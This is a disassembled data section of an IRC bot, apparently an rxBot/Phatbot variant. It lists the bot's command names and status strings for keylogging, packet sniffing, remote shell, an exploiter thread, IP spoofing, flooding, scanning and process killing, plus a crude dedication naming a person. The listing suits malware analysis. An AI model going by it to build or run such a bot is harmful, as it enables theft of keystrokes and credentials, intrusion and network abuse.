aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_40274D+45F7o
; char aAa[]
aAa db 'aa',0 ; DATA XREF: sub_40274D+45E0o
align 4
; char aAddalias[]
aAddalias db 'addalias',0 ; DATA XREF: sub_40274D+45C9o
align 10h
; char aKl[]
aKl db 'kl',0 ; DATA XREF: sub_40274D+45B2o
align 4
; char aKilllog[]
aKilllog db 'killlog',0 ; DATA XREF: sub_40274D+459Bo
; char aGh[]
aGh db 'gh',0 ; DATA XREF: sub_40274D+4575o
align 10h
; char aGethost[]
aGethost db 'gethost',0 ; DATA XREF: sub_40274D+4560o
; char aCap[]
aCap db 'cap',0 ; DATA XREF: sub_40274D+454Bo
; char aCapture[]
aCapture db 'capture',0 ; DATA XREF: sub_40274D+4536o
; char asc_42E164[]
asc_42E164 db '-' ; DATA XREF: sub_40274D:loc_406C3Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42E180 db 2Dh ; - ; DATA XREF: sub_40274D:loc_406C33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
unk_42E1A4 db 2Dh ; - ; DATA XREF: sub_40274D:loc_406BEDo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42E1C4 db 2Dh ; - ; DATA XREF: sub_40274D+4499o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42E1E4 db 2Dh ; - ; DATA XREF: sub_40274D:loc_406B62o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42E204 db 2Dh ; - ; DATA XREF: sub_40274D+440Bo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 4
; char aShare[]
aShare db 'share',0 ; DATA XREF: sub_40274D+43A8o
align 10h
; char aContinue[]
aContinue db 'continue',0 ; DATA XREF: sub_40274D+436Eo
align 4
; char aPause[]
aPause db 'pause',0 ; DATA XREF: sub_40274D+4351o
align 4
; char aStop[]
aStop db 'stop',0 ; DATA XREF: sub_40274D+4337o
align 4
unk_42E24C db 2Dh ; - ; DATA XREF: sub_40274D:loc_406A77o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42E26C db 2Dh ; - ; DATA XREF: sub_40274D+4320o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 10h
; char aStart[]
aStart db 'start',0 ; DATA XREF: sub_40274D+42CDo
align 4
unk_42E298 db 2Dh ; - ; DATA XREF: sub_40274D+429Eo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
; char aNet[]
aNet db 'net',0 ; DATA XREF: sub_40274D+427Ao
; char asc_42E2D4[]
asc_42E2D4 db '-' ; DATA XREF: sub_40274D+422Co
db 3, 34h, 2
dd 6C79656Bh, 302676Fh
aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0
align 10h
; char asc_42E310[]
asc_42E310 db '-' ; DATA XREF: sub_40274D+41D3o
db 3, 34h, 2
dd 6C79656Bh, 302676Fh
aKeyLoggerActiv db '- Key logger active.',0
align 4
dword_42E334 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_40274D+415Ao
aAlreadyRunning db '- Already running.',0
align 4
dword_42E354 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_40274D:loc_406891o
aNoKeyLoggerThr db '- No key logger thread found.',0
align 10h
dword_42E380 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_40274D+413Ao
aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0
align 4
; char aFile[]
aFile db 'file',0 ; DATA XREF: sub_40274D+40FEo
align 4
; char aKeylog[]
aKeylog db 'keylog',0 ; DATA XREF: sub_40274D+40D9o
align 4
dword_42E3CC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40274D:loc_40681Bo
aNoThreadFound_ db '- No thread found.',0
align 4
dword_42E3EC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40274D+40C4o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_42E424 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40274D+4094o
aFailedToSta_15 db '- Failed to start server, error: <%d>.',0
align 4
; char asc_42E458[]
asc_42E458 db '-' ; DATA XREF: sub_40274D:loc_406794o
db 3, 34h, 2
dd 6E656469h, 3026474h
aServerRunningO db '- Server running on Port: 113.',0
align 4
dword_42E484 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40274D+403Do
aAlreadyRunni_0 db '- Already running.',0
align 4
; char aIdent[]
aIdent db 'ident',0 ; DATA XREF: sub_40274D+4004o
align 4
unk_42E4AC db 2Dh ; - ; DATA XREF: sub_40274D:loc_406746o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0
align 10h
unk_42E4E0 db 2Dh ; - ; DATA XREF: sub_40274D+3FEFo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42E520 db 2Dh ; - ; DATA XREF: sub_40274D+3FAAo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_16 db '- Failed to start sniffer thread, error: <%d>.',0
; char asc_42E55C[]
asc_42E55C db '-' ; DATA XREF: sub_40274D+3F51o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotPacketS db '- Phatbot packet sniffer active.',0
align 4
unk_42E58C db 2Dh ; - ; DATA XREF: sub_40274D+3EF3o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_1 db '- Already running.',0
; char aSniffer[]
aSniffer db 'sniffer',0 ; DATA XREF: sub_40274D+3EBCo
dword_42E5B4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_40274D:loc_4065FEo
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 10h
dword_42E5E0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_40274D+3EA7o
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 4
dword_42E61C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_40274D+3E62o
aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
; char asc_42E658[]
asc_42E658 db '-' ; DATA XREF: sub_40274D+3E09o
db 3, 34h, 2
dd 696E7370h, 3026666h
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_42E688 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_40274D+3DABo
aAlreadyRunni_2 db '- Already running.',0
align 4
; char aOn[]
aOn db 'on',0 ; DATA XREF: sub_40274D+3D8Bo
; sub_40274D+3ED3o ...
align 4
; char aPsniff[]
aPsniff db 'psniff',0 ; DATA XREF: sub_40274D+3D74o
align 4
; char aRf[]
aRf db 'rf',0 ; DATA XREF: sub_40274D+3D5Fo
align 4
; char aReadfile[]
aReadfile db 'readfile',0 ; DATA XREF: sub_40274D+3D4Ao
align 4
; char aCm[]
aCm db 'cm',0 ; DATA XREF: sub_40274D+3D35o
align 4
; char aCmd[]
aCmd db 'cmd',0 ; DATA XREF: sub_40274D+3D20o
; char aMirc[]
aMirc db 'mirc',0 ; DATA XREF: sub_40274D+3D0Bo
align 4
; char aMirccmd[]
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_40274D+3CF6o
; char aV[]
aV: ; DATA XREF: sub_40274D+3CE1o
; .data:00442F24o ...
unicode 0, <v>,0
; char aVisit[]
aVisit db 'visit',0 ; DATA XREF: sub_40274D+3CCCo
align 4
; char aLi[]
aLi db 'li',0 ; DATA XREF: sub_40274D+3CB7o
align 4
; char aList[]
aList db 'list',0 ; DATA XREF: sub_40274D+3CA2o
align 4
; char aGt[]
aGt db 'gt',0 ; DATA XREF: sub_40274D+3C8Do
align 4
; char aDel[]
aDel db 'del',0 ; DATA XREF: sub_40274D+3C63o
; char aDelete[]
aDelete db 'delete',0 ; DATA XREF: sub_40274D+3C4Eo
; sub_40274D+438Bo
align 4
; char aKi[]
aKi db 'ki',0 ; DATA XREF: sub_40274D+3C39o
align 4
; char aKill[]
aKill db 'kill',0 ; DATA XREF: sub_40274D+3C24o
align 10h
; char aKp[]
aKp db 'kp',0 ; DATA XREF: sub_40274D+3C0Fo
align 4
; char aKillproc[]
aKillproc db 'killproc',0 ; DATA XREF: sub_40274D+3BFAo
align 10h
; char aDn[]
aDn db 'dn',0 ; DATA XREF: sub_40274D+3BE5o
align 4
; char aDns[]
aDns db 'dns',0 ; DATA XREF: sub_40274D+3BD0o
; char aSe[]
aSe db 'se',0 ; DATA XREF: sub_40274D+3BBBo
align 4
; char aO[]
aO: ; DATA XREF: sub_40274D+3B91o
; .data:00443254o
unicode 0, <o>,0
; char aOpen[]
aOpen db 'open',0 ; DATA XREF: sub_40274D+3B7Co
; sub_40274D+562Ao ...
align 4
; char aPr[]
aPr db 'pr',0 ; DATA XREF: sub_40274D+3B67o
align 4
; char aPrefix[]
aPrefix db 'prefix',0 ; DATA XREF: sub_40274D+3B52o
align 4
; char aC_rn[]
aC_rn db 'c_rn',0 ; DATA XREF: sub_40274D+3B3Do
align 4
; char aC_rndnick[]
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_40274D+3B28o
align 4
; char aC_q[]
aC_q db 'c_q',0 ; DATA XREF: sub_40274D+3B13o
; char aC_quit[]
aC_quit db 'c_quit',0 ; DATA XREF: sub_40274D+3AFEo
align 4
; char aK[]
aK: ; DATA XREF: sub_40274D+3AE9o
; .data:00442F10o ...
unicode 0, <k>,0
; char aKillthread[]
aKillthread db 'killthread',0 ; DATA XREF: sub_40274D+3AD4o
align 4
; char aRaw[]
aRaw db 'raw',0 ; DATA XREF: sub_40274D+3AAAo
; char aPt[]
aPt db 'pt',0 ; DATA XREF: sub_40274D+3A95o
align 4
; char aJ[]
aJ: ; DATA XREF: sub_40274D+3A6Bo
; .data:00442F0Co ...
unicode 0, <j>,0
; char aN[]
aN: ; DATA XREF: sub_40274D+3A41o
; .data:00442F2Co ...
unicode 0, <n>,0
unk_42E784 db 2Dh ; - ; DATA XREF: sub_40274D+3A10o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
; char aNickservRegist[]
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_40274D+39ACo
; char aRegister[]
aRegister db 'register',0 ; DATA XREF: sub_40274D+3989o
align 10h
; char aPrivmsgSS_0[]
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_40274D+3933o
align 10h
; char aMix[]
aMix db 'mix',0 ; DATA XREF: sub_40274D+3878o
; char aPrivmsgS_3[]
aPrivmsgS_3 db 'PRIVMSG %s :' ; DATA XREF: sub_40274D+3827o
; sub_40274D+385Bo
dd 6E696601h, 1726567h, 0
; char aPrivmsgS_2[]
aPrivmsgS_2 db 'PRIVMSG %s :' ; DATA XREF: sub_40274D+37F3o
dd 72657601h, 6E6F6973h, 1
; char aPrivmsgS_1[]
aPrivmsgS_1 db 'PRIVMSG %s :' ; DATA XREF: sub_40274D+37BFo
; sub_40274D+38C1o
dd 6E697001h, 167h
; char aCtcp[]
aCtcp db 'ctcp',0 ; DATA XREF: sub_40274D+3776o
align 10h
; char aNoticeSS_1[]
aNoticeSS_1 db 'NOTICE %s :%s',0 ; DATA XREF: sub_40274D+36E7o
; sub_40274D+3720o ...
align 10h
; char aNotice_0[]
aNotice_0 db 'notice',0 ; DATA XREF: sub_40274D+3699o
align 4
; char aMsg[]
aMsg db 'msg',0 ; DATA XREF: sub_40274D+35BCo
; char aChgnick[]
aChgnick db 'chgnick',0 ; DATA XREF: sub_40274D+3576o
; char aNick_0[]
aNick_0 db 'nick',0 ; DATA XREF: sub_40274D+347Co
; sub_40274D+3A2Co
align 4
; char aPrivmsgS_0[]
aPrivmsgS_0 db 'PRIVMSG %s :' ; DATA XREF: sub_40274D+345Fo
dd 43434401h, 4E455320h, 64252044h, 2064252Eh, 25206425h
dd 64252064h, 1
; char aDcc[]
aDcc db 'dcc',0 ; DATA XREF: sub_40274D+33ECo
; char aJoinPart[]
aJoinPart db 'join/part',0 ; DATA XREF: sub_40274D+32BAo
align 4
; char aNickS_0[]
aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_40274D+329Do
; sub_40274D+34D3o ...
; char aSI[]
aSI db '%s%i',0 ; DATA XREF: sub_40274D+3285o
; sub_40A800+4Eo ...
align 4
; char aPnick[]
aPnick db 'pnick',0 ; DATA XREF: sub_40274D+324Bo
align 4
; char aPartSS[]
aPartSS db 'part %s %s',0 ; DATA XREF: sub_40274D+322Eo
; sub_40274D+3308o ...
align 4
; char aPartflood[]
aPartflood db 'partflood',0 ; DATA XREF: sub_40274D+320Ao
align 4
; char aPartS[]
aPartS db 'part %s',0 ; DATA XREF: sub_40274D+31EDo
; char aPart_0[]
aPart_0 db 'part',0 ; DATA XREF: sub_40274D+31CEo
; sub_40274D+3A80o
align 4
; char aJoinS[]
aJoinS db 'join %s',0 ; DATA XREF: sub_40274D+31B1o
; sub_40274D+32E2o ...
; char aJoin[]
aJoin db 'join',0 ; DATA XREF: sub_40274D+3192o
; sub_40274D+3A56o
align 4
; char aModeSS[]
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_40274D+3175o
align 10h
; char aMode[]
aMode db 'mode',0 ; DATA XREF: sub_40274D+312Fo
; sub_40274D+4681o
align 4
; char aNoticeSS_0[]
aNoticeSS_0 db 'notice %s :%s',0 ; DATA XREF: sub_40274D+3112o
align 4
; char aNt[]
aNt db 'nt',0 ; DATA XREF: sub_40274D+30CCo
align 4
; char aPrivmsgS[]
aPrivmsgS db 'privmsg %s :' ; DATA XREF: sub_40274D+30AFo
dd 1732501h, 0
; char aCt[]
aCt db 'ct',0 ; DATA XREF: sub_40274D+3069o
align 4
; char aPrivmsgSS[]
aPrivmsgSS db 'privmsg %s :%s',0 ; DATA XREF: sub_40274D+304Co
; sub_40274D+360Ao ...
align 4
; char a_[]
a_: ; DATA XREF: sub_40274D+3023o
; sub_40274D+3086o ...
unicode 0, <_>,0
; char aPm[]
aPm db 'pm',0 ; DATA XREF: sub_40274D+3006o
; sub_40274D+460Eo
align 4
; char asc_42E93C[]
asc_42E93C db '-' ; DATA XREF: sub_40274D+2FD7o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aSClonesLoadedT db '- %s clones loaded to %s:%s',0
align 4
; char aLoad[]
aLoad db 'load',0 ; DATA XREF: sub_40274D+2F8Fo
align 10h
; char aFlood[]
aFlood db 'flood',0 ; DATA XREF: sub_40274D+2F66o
align 4
; char aRinms[]
aRinms db 'rinms',0 ; DATA XREF: sub_40274D+2F4Fo
align 10h
; char aReconnect_in_m[]
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_40274D+2F3Ao
; char aRin[]
aRin db 'rin',0 ; DATA XREF: sub_40274D+2F25o
; char aReconnect_in[]
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_40274D+2F10o
align 4
unk_42E9A4 db 2Dh ; - ; DATA XREF: sub_40274D+2EF0o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
; char asc_42E9E4[]
asc_42E9E4 db '-' ; DATA XREF: sub_40274D+2E94o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
; char aExploit[]
aExploit db 'exploit',0 ; DATA XREF: sub_40274D+2E17o
; char asc_42EA1C[]
asc_42EA1C db '-' ; DATA XREF: sub_40274D+2DF9o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 4
; char asc_42EA48[]
asc_42EA48 db '-' ; DATA XREF: sub_40274D+2DCFo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
; char aD_D_D_[]
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_40274D+2D97o
align 4
; char asc_42EA88[]
asc_42EA88 db '-' ; DATA XREF: sub_40274D+2D3Eo
; sub_40274D+2DAFo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 10h
; char aGet_1[]
aGet_1 db 'get',0 ; DATA XREF: sub_40274D:loc_405469o
; sub_40274D+3C78o
unk_42EAC4 db 2Dh ; - ; DATA XREF: sub_40274D+2CB0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 10h
unk_42EAF0 db 2Dh ; - ; DATA XREF: sub_40274D+2CA5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 4
dword_42EB1C dd 234032Dh, 6E69616Dh, 202D0302h, 7325h, 0 ; DATA XREF: sub_40274D+2C57o
unk_42EB30 db 2Dh ; - ; DATA XREF: sub_40274D:loc_405395o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 10h
dword_42EBE0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_40274D+2C16o
aFailedToSta_18 db '- Failed to start secure thread, error: <%d>.',0
align 4
; char asc_42EC1C[]
asc_42EC1C db '-' ; DATA XREF: sub_40274D+2BB2o
db 3, 34h, 2
dd 75636573h, 3026572h, 7325202Dh, 73797320h, 2E6D6574h
dd 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40274D+2BACo
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_40274D+2BA5o
align 10h
unk_42EC50 db 2Dh ; - ; DATA XREF: sub_40274D+2B1Co
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_19 db ' Failed to start server thread, error: <%d>.',0
align 10h
; char asc_42EC90[]
asc_42EC90 db '-' ; DATA XREF: sub_40274D+2AB1o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
dword_42ECBC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_40274D+2A20o
aFailedToSta_20 db '- Failed to start server thread, error: <%d>.',0
align 4
; char asc_42ECF8[]
asc_42ECF8 db '-' ; DATA XREF: sub_40274D+29C7o
; sub_4144B2+A4o
db 3, 34h, 2
dd 6B636F73h, 3023473h
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42ED20 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_40274D+2909o
aFindFile db 'Find file',0 ; DATA XREF: sub_40274D+2904o
align 4
dword_42ED3C dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_40274D+28F7o
aProcessList db 'Process list',0 ; DATA XREF: sub_40274D+28F2o
align 4
dword_42ED5C dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: sub_40274D+288Co
dd 676E6974h, 2Eh
; char aQuitReconnecti[]
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40274D:loc_404FCCo
; sub_40274D:loc_409FE3o ...
align 10h
dword_42ED90 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: sub_40274D+286Ao
dd 6E697463h, 2E67h
; char aQuitDisconnect[]
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40274D:loc_404FAAo
align 4
; char aQuitLater[]
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40274D:loc_404F93o
; sub_40274D+76C8o
align 4
; char aQuitS[]
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+2834o
align 10h
; char asc_42EDE0[]
asc_42EDE0 db '-' ; DATA XREF: sub_40274D+27EEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 4
; char asc_42EE0C[]
asc_42EE0C db '-' ; DATA XREF: sub_40274D+27B3o
db 3, 34h, 2
dd 6E69616Dh, 202D0302h, 20746F42h, 203A4449h, 2E7325h
unk_42EE24 db 2Dh ; - ; DATA XREF: sub_40274D+2789o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_21 db '- Failed to start list thread, error: <%d>.',0
align 10h
; char asc_42EE60[]
asc_42EE60 db '-' ; DATA XREF: sub_40274D+2730o
db 3, 34h, 2
dd 65726874h, 2736461h, 4C202D03h, 20747369h, 65726874h
dd 2E736461h, 0
; char aSub[]
aSub db 'sub',0 ; DATA XREF: sub_40274D+270Ao
dword_42EE84 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: sub_40274D+26C1o
dd 2E7473h
unk_42EE9C db 2Dh ; - ; DATA XREF: sub_40274D+2694o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_22 db '- Failed to start listing thread, error: <%d>.',0
; char asc_42EED4[]
asc_42EED4 db '-' ; DATA XREF: sub_40274D+263Bo
db 3, 34h, 2
dd 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh, 2E676Fh
dword_42EEEC dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: sub_40274D+25A7o
dd 6F666E49h, 2Eh
dword_42EF08 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: sub_40274D+2578o
dd 2E6F666Eh, 0
dword_42EF24 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: sub_40274D+252Bo
dd 746F4220h, 2Eh
; char asc_42EF40[]
asc_42EF40 db '-' ; DATA XREF: sub_40274D+24FAo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_23 db ' Failed to start listing thread, error: <%d>.',0
align 4
; char asc_42EF7C[]
asc_42EF7C db '-' ; DATA XREF: sub_40274D+249Bo
db 3, 34h, 2
dd 636F7270h, 2D030273h, 6F725020h, 73656363h, 696C2073h
dd 2E7473h
; char aFull[]
aFull db 'full',0 ; DATA XREF: sub_40274D+247Bo
align 10h
unk_42EFA0 db 2Dh ; - ; DATA XREF: sub_40274D+2425o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 10h
; char asc_42EFC0[]
asc_42EFC0 db '-' ; DATA XREF: sub_40274D+23FCo
db 3, 34h, 2
dd 656B6463h, 3027379h
aSearchComplete db '- Search completed.',0
; char asc_42EFE0[]
asc_42EFE0 db '-' ; DATA XREF: sub_40274D+23B6o
db 3, 34h, 2
dd 6E69616Dh, 202D0302h, 69747055h, 203A656Dh, 2E7325h
; char asc_42EFF8[]
asc_42EFF8 db '-' ; DATA XREF: sub_40274D:loc_404A48o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
unk_42F018 db 2Dh ; - ; DATA XREF: sub_40274D+22F4o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 10h
unk_42F040 db 2Dh ; - ; DATA XREF: sub_40274D+22DBo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
dword_42F06C dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: sub_40274D+22C0o
dd 72616F62h, 2E64h
dword_42F088 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_40274D+2298o
dd 2Dh
unk_42F0A0 db 2Dh ; - ; DATA XREF: sub_40274D:loc_4049D5o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
unk_42F0CC db 2Dh ; - ; DATA XREF: sub_40274D+2281o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 10h
; char asc_42F0F0[]
asc_42F0F0 db '-' ; DATA XREF: sub_40274D:loc_4049A4o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_42F11C db 2Dh ; - ; DATA XREF: sub_40274D:loc_40499Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42F148 db 2Dh ; - ; DATA XREF: sub_40274D+2249o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
; char asc_42F16C[]
asc_42F16C db '-' ; DATA XREF: sub_40274D+21C8o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_24 db '- Failed to start server thread, error: <%d>.',0
align 4
; char asc_42F1A8[]
asc_42F1A8 db '-' ; DATA XREF: sub_40274D+216Fo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42F1E4 db 2Dh ; - ; DATA XREF: sub_40274D+209Do
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_25 db ' Failed to start server thread, error: <%d>.',0
align 10h
; char asc_42F220[]
asc_42F220 db '-' ; DATA XREF: sub_40274D+2044o
; sub_40B690+440o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42F25C db 2Dh ; - ; DATA XREF: sub_40274D+1F31o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0
align 4
; char asc_42F298[]
asc_42F298 db '-' ; DATA XREF: sub_40274D+1ED8o
; sub_40B690+D7o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_42F2CC db 2Dh ; - ; DATA XREF: sub_40274D+1E34o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_4 db ' Already running.',0
align 4
unk_42F2EC db 2Dh ; - ; DATA XREF: sub_40274D:loc_40456Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_27 db '- Failed to start scan, port is invalid.',0
align 4
; char asc_42F324[]
